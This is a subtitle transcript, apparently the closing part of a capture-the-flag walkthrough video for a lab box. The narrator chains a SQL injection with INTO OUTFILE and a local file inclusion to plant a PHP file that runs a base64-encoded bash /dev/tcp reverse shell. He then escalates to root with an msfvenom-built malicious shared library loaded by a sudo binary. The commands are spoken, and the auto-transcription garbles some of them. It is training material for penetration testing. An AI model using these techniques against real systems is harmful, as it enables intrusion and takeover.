00:48:48,200 --> 00:48:52,240

so do this we go down and I'm just going

952

00:48:52,240 --> 00:48:55,200

to change my search for that string so

953

00:48:55,200 --> 00:48:57,920

we always see it um or we always go down

954

00:48:57,920 --> 00:48:59,760

to this spot so we have information

955

00:48:59,760 --> 00:49:03,319

schema CIS zipping MySQL and performance

956

00:49:03,319 --> 00:49:06,119

schema so we probably want the zipping

957

00:49:06,119 --> 00:49:10,160

table so let's now do a select group

958

00:49:10,160 --> 00:49:14,119

concat um we probably want the table

959

00:49:14,119 --> 00:49:16,599

name uh we don't put it in

960

00:49:16,599 --> 00:49:19,760

quotes and we want

961

00:49:19,760 --> 00:49:23,720

table is it column let's look this up uh

962

00:49:23,720 --> 00:49:27,520

information schema

963

00:49:28,480 --> 00:49:30,200

this

964

00:49:30,200 --> 00:49:32,599

table table

965

00:49:32,599 --> 00:49:34,520

reference

966

00:49:34,520 --> 00:49:37,520

columns uh column name is what I

967

00:49:37,520 --> 00:49:40,200

want column

968

00:49:40,200 --> 00:49:42,760

name and then we want to put a line

969

00:49:42,760 --> 00:49:45,559

break so back sln we do information

970

00:49:45,559 --> 00:49:47,720

schema. columns because that's the table

971

00:49:47,720 --> 00:49:51,720

we want and then we say where table

972

00:49:51,720 --> 00:49:54,720

schema because this is going to be the

973

00:49:54,720 --> 00:49:56,079

database

974

00:49:56,079 --> 00:50:01,400

is equal to zipping and again URL encode

975

00:50:01,400 --> 00:50:04,079

this and we can see all the tables and

976

00:50:04,079 --> 00:50:06,200

columns here there's nothing really of

977

00:50:06,200 --> 00:50:07,920

Interest right we just have the products

978

00:50:07,920 --> 00:50:09,160

we don't have anything where like

979

00:50:09,160 --> 00:50:12,119

passwords would be so we could like dump

980

00:50:12,119 --> 00:50:15,200

the MySQL users table but we already got

981

00:50:15,200 --> 00:50:17,280

the root password from the file

982

00:50:17,280 --> 00:50:19,319

disclosure so that doesn't really bi us

983

00:50:19,319 --> 00:50:21,400

anything so we got to think what we can

984

00:50:21,400 --> 00:50:25,079

do with this SQL injection and since

985

00:50:25,079 --> 00:50:28,200

we're the user we can write files and we

986

00:50:28,200 --> 00:50:32,319

had a lfi vulnerability back here right

987

00:50:32,319 --> 00:50:34,520

and if we didn't do it the unintended

988

00:50:34,520 --> 00:50:37,119

way uh we don't have a way to create a

989

00:50:37,119 --> 00:50:40,599

PHP file on this so what this SQL inject

990

00:50:40,599 --> 00:50:43,839

does is allow us to so let's now instead

991

00:50:43,839 --> 00:50:46,400

of doing a select group concat let's get

992

00:50:46,400 --> 00:50:52,200

rid of all this and I'm going to do a um

993

00:50:52,200 --> 00:50:54,440

select and we'll

994

00:50:54,440 --> 00:50:56,240

do

995

00:50:56,240 --> 00:51:00,000

a double quote curl 10 10

996

00:51:00,000 --> 00:51:03,559

148 um yeah we can do a curl that's fine

997

00:51:03,559 --> 00:51:05,160

let's do Port

998

00:51:05,160 --> 00:51:07,240

8,000 and maybe the Box doesn't have

999

00:51:07,240 --> 00:51:09,559

curl I always hate using binaries like

1000

00:51:09,559 --> 00:51:12,319

that um let's EO

1001

00:51:12,319 --> 00:51:15,880

a shell so to do that I'm going to go

1002

00:51:15,880 --> 00:51:18,079

back to my terminal and we're going to

1003

00:51:18,079 --> 00:51:21,319

just write out a shell so we'll do

1004

00:51:21,319 --> 00:51:27,559

Bashi then whoops Dev TCP 10 10 14 8 9,1

1005

00:51:27,559 --> 00:51:30,400

0 and 1 like that and then let base 64

1006

00:51:30,400 --> 00:51:32,680

and cod

1007

00:51:32,680 --> 00:51:34,960

it and I want to get rid of all the

1008

00:51:34,960 --> 00:51:36,319

special characters because I don't feel

1009

00:51:36,319 --> 00:51:38,960

like having H like yourl encoding screw

1010

00:51:38,960 --> 00:51:43,640

me up right so like that there we

1011

00:51:43,640 --> 00:51:46,960

go so I'm just going to decode this real

1012

00:51:46,960 --> 00:51:49,079

quick pipe it over to bash let's just

1013

00:51:49,079 --> 00:51:51,680

make sure it

1014

00:51:52,520 --> 00:51:54,359

works it

1015

00:51:54,359 --> 00:51:57,359

does

1016

00:51:59,000 --> 00:52:03,599

so now we have a nice oneliner we can

1017

00:52:04,040 --> 00:52:08,000

copy so we can do select and we want to

1018

00:52:08,000 --> 00:52:10,839

write a PHP shell here so we'll

1019

00:52:10,839 --> 00:52:14,280

do um like that

1020

00:52:14,280 --> 00:52:18,040

PHP and then

1021

00:52:18,040 --> 00:52:26,760

system Echo this b 64- d then Bash

1022

00:52:26,760 --> 00:52:29,280

we end the single

1023

00:52:29,280 --> 00:52:34,599

quote end the system call and the PHP

1024

00:52:34,599 --> 00:52:39,680

call and the double quote so if we yl en

1025

00:52:39,680 --> 00:52:41,000

code

1026

00:52:41,000 --> 00:52:43,440

this just want to look at it make sure

1027

00:52:43,440 --> 00:52:46,400

this looks good PHP system Echo we don't

1028

00:52:46,400 --> 00:52:48,240

have a semicolon I don't think we need

1029

00:52:48,240 --> 00:52:51,440

one because it's only one thing but oh

1030

00:52:51,440 --> 00:52:54,240

well or one line Echo

1031

00:52:54,240 --> 00:52:56,319

this

1032

00:52:56,319 --> 00:52:57,680

that looks

1033

00:52:57,680 --> 00:53:01,040

fine um let's see is there anything else

1034

00:53:01,040 --> 00:53:03,599

I want to

1035

00:53:03,760 --> 00:53:07,799

do I don't like that being

1036

00:53:07,799 --> 00:53:11,480

3F okay I don't want to URL encode the

1037

00:53:11,480 --> 00:53:13,520

um question mark I don't know if that

1038

00:53:13,520 --> 00:53:16,119

would screw anything up so we have that

1039

00:53:16,119 --> 00:53:19,400

select and now I want to do an into out

1040

00:53:19,400 --> 00:53:22,240

file I can say Dev

1041

00:53:22,240 --> 00:53:27,119

shm and we'll call this shell

1042

00:53:27,119 --> 00:53:30,480

and this should probably be in quotes as

1043

00:53:30,480 --> 00:53:34,680

well we use double

1044

00:53:35,799 --> 00:53:38,880

quotes you encode

1045

00:53:38,880 --> 00:53:43,359

this and we want to add the PHP

1046

00:53:43,359 --> 00:53:45,440

um

1047

00:53:45,440 --> 00:53:47,640

argument so when we write this we have

1048

00:53:47,640 --> 00:53:49,040

an internal server error but this

1049

00:53:49,040 --> 00:53:51,119

happens a lot when you do Union

1050

00:53:51,119 --> 00:53:54,200

injections and write a file so let's go

1051

00:53:54,200 --> 00:53:56,640

back to the lfi

1052

00:53:56,640 --> 00:53:57,880

and what do we call it we called it

1053

00:53:57,880 --> 00:53:59,920

shell right shell.

1054

00:53:59,920 --> 00:54:03,160

PHP uh let's

1055

00:54:03,160 --> 00:54:09,040

lfi we can say Dev shm

1056

00:54:10,920 --> 00:54:13,240

shell

1057

00:54:13,240 --> 00:54:15,640

and we should

1058

00:54:15,640 --> 00:54:19,480

listen we don't have

1059

00:54:20,040 --> 00:54:22,119

anything let's see I don't know if this

1060

00:54:22,119 --> 00:54:24,079

actually

1061

00:54:24,079 --> 00:54:26,040

wrote

1062

00:54:26,040 --> 00:54:29,280

so we do that

1063

00:54:31,119 --> 00:54:34,640

select this should have

1064

00:54:34,680 --> 00:54:38,440

wrote PHP system

1065

00:54:38,440 --> 00:54:42,000

Echo 64-

1066

00:54:42,000 --> 00:54:46,400

D let's try ver

1067

00:54:46,400 --> 00:54:48,799

lib

1068

00:54:48,799 --> 00:54:52,520

MySQL can we WR

1069

00:54:52,520 --> 00:54:57,359

there we still go in here let's do LF if

1070

00:54:57,440 --> 00:54:59,280

I

1071

00:54:59,280 --> 00:55:03,720

ver li My

1072

00:55:03,960 --> 00:55:07,280

SQL still

1073

00:55:08,960 --> 00:55:13,680

not so we have something messed up

1074

00:55:13,680 --> 00:55:18,960

here I'm not exactly sure what I'd be

1075

00:55:18,960 --> 00:55:22,440

hoping that this just

1076

00:55:22,440 --> 00:55:26,160

writes so let's test this out I'm going

1077

00:55:26,160 --> 00:55:30,720

to copy this let's UNL en code oh unur

1078

00:55:30,720 --> 00:55:32,480

en code

1079

00:55:32,480 --> 00:55:37,440

copy then I'm going to pseudo service my

1080

00:55:37,440 --> 00:55:40,039

SQL

1081

00:55:40,520 --> 00:55:44,440

start then we can do pseudo MySQL we can

1082

00:55:44,440 --> 00:55:47,520

run this command and that

1083

00:55:47,520 --> 00:55:51,680

is not what I wanted there we

1084

00:55:51,680 --> 00:55:54,440

go so if I run it it says it's

1085

00:55:54,440 --> 00:55:55,920

successful

1086

00:55:55,920 --> 00:55:58,640

we go to Dev

1087

00:56:00,799 --> 00:56:03,559

shm oh we wrote to our lib um let's

1088

00:56:03,559 --> 00:56:05,480

write

1089

00:56:05,480 --> 00:56:08,799

to Dev

1090

00:56:09,000 --> 00:56:12,000

shm okay so that writes and we have

1091

00:56:12,000 --> 00:56:15,200

exactly what we want so I wonder if we

1092

00:56:15,200 --> 00:56:18,240

did a

1093

00:56:18,240 --> 00:56:21,480

select select so we're going to Nest it

1094

00:56:21,480 --> 00:56:23,920

I wonder if the nesting is what breaks

1095

00:56:23,920 --> 00:56:29,079

it uh we can't overwrite

1096

00:56:29,079 --> 00:56:32,799

so I think that's what did

1097

00:56:33,720 --> 00:56:36,599

it so it's the whole nesting these

1098

00:56:36,599 --> 00:56:39,119

selects into out file so that's what

1099

00:56:39,119 --> 00:56:43,480

broke it so since we know that let's now

1100

00:56:43,480 --> 00:56:46,319

take this we

1101

00:56:46,319 --> 00:56:49,319

can remove this

1102

00:56:49,319 --> 00:56:52,400

piece so now we just have the shell and

1103

00:56:52,400 --> 00:56:56,280

I'm going to put it at the end

1104

00:56:56,280 --> 00:57:00,160

so we do plus into out file and I can

1105

00:57:00,160 --> 00:57:05,960

say let's do Dev shm shell.

1106

00:57:07,839 --> 00:57:10,839

PHP we get product doesn't exist so if

1107

00:57:10,839 --> 00:57:15,480

we go back to the lfi we can try Dev shm

1108

00:57:15,480 --> 00:57:18,200

shell it's hanging that's a good

1109

00:57:18,200 --> 00:57:23,920

sign um go down here and we have a shell

1110

00:57:23,920 --> 00:57:26,000

so that is doing it the inted way so

1111

00:57:26,000 --> 00:57:28,640

let's do Python 3 UT

1112

00:57:28,640 --> 00:57:33,920

PTY pt. spawn b

1113

00:57:34,400 --> 00:57:40,000

bash then stty raw minus Echo for ground

1114

00:57:40,000 --> 00:57:41,839

and then we can export term is equal to

1115

00:57:41,839 --> 00:57:44,680

X term so we can clear the screen so now

1116

00:57:44,680 --> 00:57:49,720

as a shell as reu um let's see can I do

1117

00:57:49,720 --> 00:57:52,079

pseudo it looks like it can run this

1118

00:57:52,079 --> 00:57:55,039

binary stock as pseudo so if I do pseudo

1119

00:57:55,039 --> 00:57:59,440

user bin stock it wants a

1120

00:57:59,440 --> 00:58:01,039

password and that's going to be a

1121

00:58:01,039 --> 00:58:03,920

password to the stock binary so let's

1122

00:58:03,920 --> 00:58:08,760

just do strings against this do we see

1123

00:58:12,520 --> 00:58:15,520

anything so we see a password

1124

00:58:15,520 --> 00:58:18,039

potentially here or here um I'm going to

1125

00:58:18,039 --> 00:58:20,880

guess this one is the password so let's

1126

00:58:20,880 --> 00:58:23,960

do pseudo user bin stock put this

1127

00:58:23,960 --> 00:58:25,400

password in

1128

00:58:25,400 --> 00:58:31,319

and we can see the stock we can edit the

1129

00:58:31,799 --> 00:58:34,520

stock I have no clue what I'm

1130

00:58:34,520 --> 00:58:36,920

doing or we can exit the

1131

00:58:36,920 --> 00:58:39,400

program so we could open this up in

1132

00:58:39,400 --> 00:58:41,440

gedra but before I do that I always like

1133

00:58:41,440 --> 00:58:44,280

just running srace on the program so

1134

00:58:44,280 --> 00:58:46,920

let's just do

1135

00:58:47,000 --> 00:58:49,000

srace on

1136

00:58:49,000 --> 00:58:52,240

this and if we enter the password this

1137

00:58:52,240 --> 00:58:54,680

is going to be like CIS call tracing

1138

00:58:54,680 --> 00:58:56,160

it's going to tell us everything it's

1139

00:58:56,160 --> 00:58:59,400

doing and whenever I see something like

1140

00:58:59,400 --> 00:59:02,160

this no such file or directory it's

1141

00:59:02,160 --> 00:59:03,880

trying to load a library and doesn't

1142

00:59:03,880 --> 00:59:06,440

load it so this is kind of like dll

1143

00:59:06,440 --> 00:59:08,640

injection or something on Windows it's

1144

00:59:08,640 --> 00:59:12,400

loading something out of config on libc

1145

00:59:12,400 --> 00:59:14,400

counter. I don't know if that's going to

1146

00:59:14,400 --> 00:59:17,079

go to root if we do it with pseudo but

1147

00:59:17,079 --> 00:59:19,000

what if I just put it here and we can

1148

00:59:19,000 --> 00:59:21,400

test it out right so we want to create a

1149

00:59:21,400 --> 00:59:23,920

malicious um Linux library that will

1150

00:59:23,920 --> 00:59:27,799

probably send us a shell whenever it um

1151

00:59:27,799 --> 00:59:31,119

runs so let's do that and we could ask

1152

00:59:31,119 --> 00:59:33,559

like chat gbt a fancy way how to create

1153

00:59:33,559 --> 00:59:36,200

a c program for us but I mean let's just

1154

00:59:36,200 --> 00:59:38,359

stick to the classics right uh we don't

1155

00:59:38,359 --> 00:59:41,880

need to use AI when we have msf venom so

1156

00:59:41,880 --> 00:59:43,000

we can

1157

00:59:43,000 --> 00:59:47,720

do uh msf Venom and then list

1158

00:59:47,720 --> 00:59:50,760

payloads I know I want like reverse

1159

00:59:50,760 --> 00:59:54,400

TCP so let's see what it goes with um

1160

00:59:54,400 --> 00:59:56,119

this always takes longer than I'd ever

1161

00:59:56,119 --> 00:59:59,079

expected to but what we're going to do

1162

00:59:59,079 --> 01:00:02,200

is create a uh payload that will just

1163

01:00:02,200 --> 01:00:04,280

connect back to us so it's probably

1164

01:00:04,280 --> 01:00:07,119

Linux

1165

01:00:07,119 --> 01:00:11,599

x64 shell Let's see we want the shell

1166

01:00:11,599 --> 01:00:14,039

uncore reverse TCP because we don't want

1167

01:00:14,039 --> 01:00:17,920

the um this one because this is staged

1168

01:00:17,920 --> 01:00:19,359

which means we have to run like msf

1169

01:00:19,359 --> 01:00:21,640

Handler to catch it so let's do the

1170

01:00:21,640 --> 01:00:23,160

stage list

1171

01:00:23,160 --> 01:00:27,200

one so we can do msf Venom then do- P

1172

01:00:27,200 --> 01:00:30,839

the payload it probably wants L host

1173

01:00:30,839 --> 01:00:34,760

10148 um L Port is equal to be

1174

01:00:34,760 --> 01:00:37,720

91 the format is going to be

1175

01:00:37,720 --> 01:00:40,720

.-o and the out file we can call it um

1176

01:00:40,720 --> 01:00:44,599

libc counter. LL because that is what

1177

01:00:44,599 --> 01:00:47,599

the srace told us um it was trying to

1178

01:00:47,599 --> 01:00:49,760

load

1179

01:00:49,760 --> 01:00:56,240

this so I'm going to go in do config

1180

01:00:56,240 --> 01:01:00,599

okay so let's move lib counter to be

1181

01:01:00,599 --> 01:01:03,839

HB zipping dubdub

1182

01:01:03,839 --> 01:01:07,280

dub Python 3 mhtp

1183

01:01:07,280 --> 01:01:12,280

server and we can W get 10 1048 P

1184

01:01:12,280 --> 01:01:16,680

8000 lib counter.

1185

01:01:16,680 --> 01:01:20,559

so okay so what was that password again

1186

01:01:20,559 --> 01:01:24,680

let's strings or pseudo- L strings user

1187

01:01:24,680 --> 01:01:26,960

B stock to get the password I should

1188

01:01:26,960 --> 01:01:29,680

have wrote that

1189

01:01:30,520 --> 01:01:32,760

down let's

1190

01:01:32,760 --> 01:01:35,480

see there we go and the password is

1191

01:01:35,480 --> 01:01:36,880

generally around the string where it

1192

01:01:36,880 --> 01:01:38,760

says enter your password just because

1193

01:01:38,760 --> 01:01:41,280

that's how it's organized um so we can

1194

01:01:41,280 --> 01:01:46,880

do pseudo user bin stock enter the

1195

01:01:46,880 --> 01:01:50,640

password and it immediately

1196

01:01:51,400 --> 01:01:55,119

exited Let's do 90001 let's run this

1197

01:01:55,119 --> 01:01:58,920

again get a connection back and we rout

1198

01:01:58,920 --> 01:02:02,079

so that is going to be the Box um hope

1199

01:02:02,079 --> 01:02:04,200

you guys enjoyed it take care and I will

1200

01:02:04,200 --> 01:02:07,799

see you all next time